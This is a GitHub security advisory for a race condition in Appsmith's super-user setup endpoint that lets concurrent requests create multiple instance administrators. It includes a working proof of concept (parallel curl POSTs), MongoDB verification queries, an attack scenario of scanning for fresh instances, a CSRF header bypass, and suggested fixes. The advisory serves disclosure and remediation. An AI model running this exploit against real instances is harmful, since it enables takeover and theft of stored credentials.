GitHub Advisoryadvisory · Maven
GHSA-9wcp-79g5-5c3c Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators
HIGH
Official page ↗
- Ecosystem
- Maven
- Packages
- com.appsmith:server
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-367
- Reviewed
- 2026-06-12
Affected packages
• Maven com.appsmith:server: < 1.99 → fixed in 1.99
Description
Summary
The `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.
Severity
• CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
• CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)
Affected Version
• Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
• Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25)
• Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef`
Root Cause
The `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270–295) performs a non-atomic check-then-act sequence:
```java
// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
}
// Step 2: ACT — create user and grant admin (not atomic with Step 1)
return signupAndLogin(user, exchange);
})
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
```
The `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35–44) queries MongoDB without any locking mechanism:
```java
public Mono isUsersEmpty() {
return queryBuilder()
.criteria(Bridge.or(
notExists(User.Fields.isSystemGenerated),
Bridge.isFalse(User.Fields.isSystemGenerated)))
.limit(1).all(IdOnly.class).count().map(count -> count == 0);
}
```
There is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.
Proof of Concept
Environment Setup
```bash
Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
Wait ~90 seconds for all services to initialize
```
Step 1: Verify Fresh State
```bash
curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
Expected: {"data": {"email": "anonymousUser", ...}}
```
Step 2: Send Concurrent Requests
```bash
for i in $(seq 1 10); do
curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
-X POST http://localhost:9090/api/v1/users/super \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-By: Appsmith" \
-d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait
Check results
for i in $(seq 1 10); do
echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done
```
Step 3: Verify in MongoDB
```javascript
// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh
// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })
// Check who has manage:users permission
db.user.find(
{ isSystemGenerated: { $ne: true } },
{ email: 1, "policies.permission": 1 }
).forEach(u => {
const hasManage = u.policies?.some(p => p.permission === "manage:users");
printjson({ email: u.email, manage_users: hasManage });
});
// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
{ name: "Instance Administrator Role" },
{ assignedToUserIds: 1 }
);
```
Observed Results
| Metric | Expected | Actual |
|--------|----------|--------|
| Users created | 1 | 10 |
| Users with `manage:users` policy | 1 | 10 |
| Users in Instance Administrator Role | 1 | 2 |
All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.
Impact
1. Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.
2. Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.
3. Full Instance Compromise: Instance Administrator privileges grant:
• User management (create, delete, modify all users)
• Access to all datasource credentials (database passwords, API keys)
• Modification of all applications and their server-side logic
• Environment configuration (SMTP, OAuth, encryption settings)
Attack Scenario
1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
2. Attacker polls `GET /api/v1/users/me` — if the response contains `"email": "anonymousUser"`, the instance has not been set up yet.
3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests.
4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
5. Attacker now has persistent, full administrative access to the instance.
Suggested Fix
Option A: MongoDB Transaction (Recommended)
Wrap the check-and-create in a MongoDB transaction to ensure atomicity:
```java
public Mono signupAndLoginSuper(...) {
return reactiveMongoTemplate.inTransaction().execute(session -> {
return userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(
AppsmithError.UNAUTHORIZED_ACCESS));
}
return signupAndLogin(user, exchange);
});
}).single()
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}
```
Option B: Distributed Lock
Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:
```java
public Mono signupAndLoginSuper(...) {
return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
.flatMap(lock -> userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(...);
}
return signupAndLogin(user, exchange);
})
.doFinally(signal -> lock.release()));
}
```
Option C: Unique Constraint
Add a MongoDB unique partial index that prevents more than one super admin:
```javascript
db.user.createIndex(
{ "isSuperAdmin": 1 },
{ unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);
```
CSRF Note
The `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99–102), which is a static, publicly known value.
Related
Weakness · CWE (1)
- CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition weakness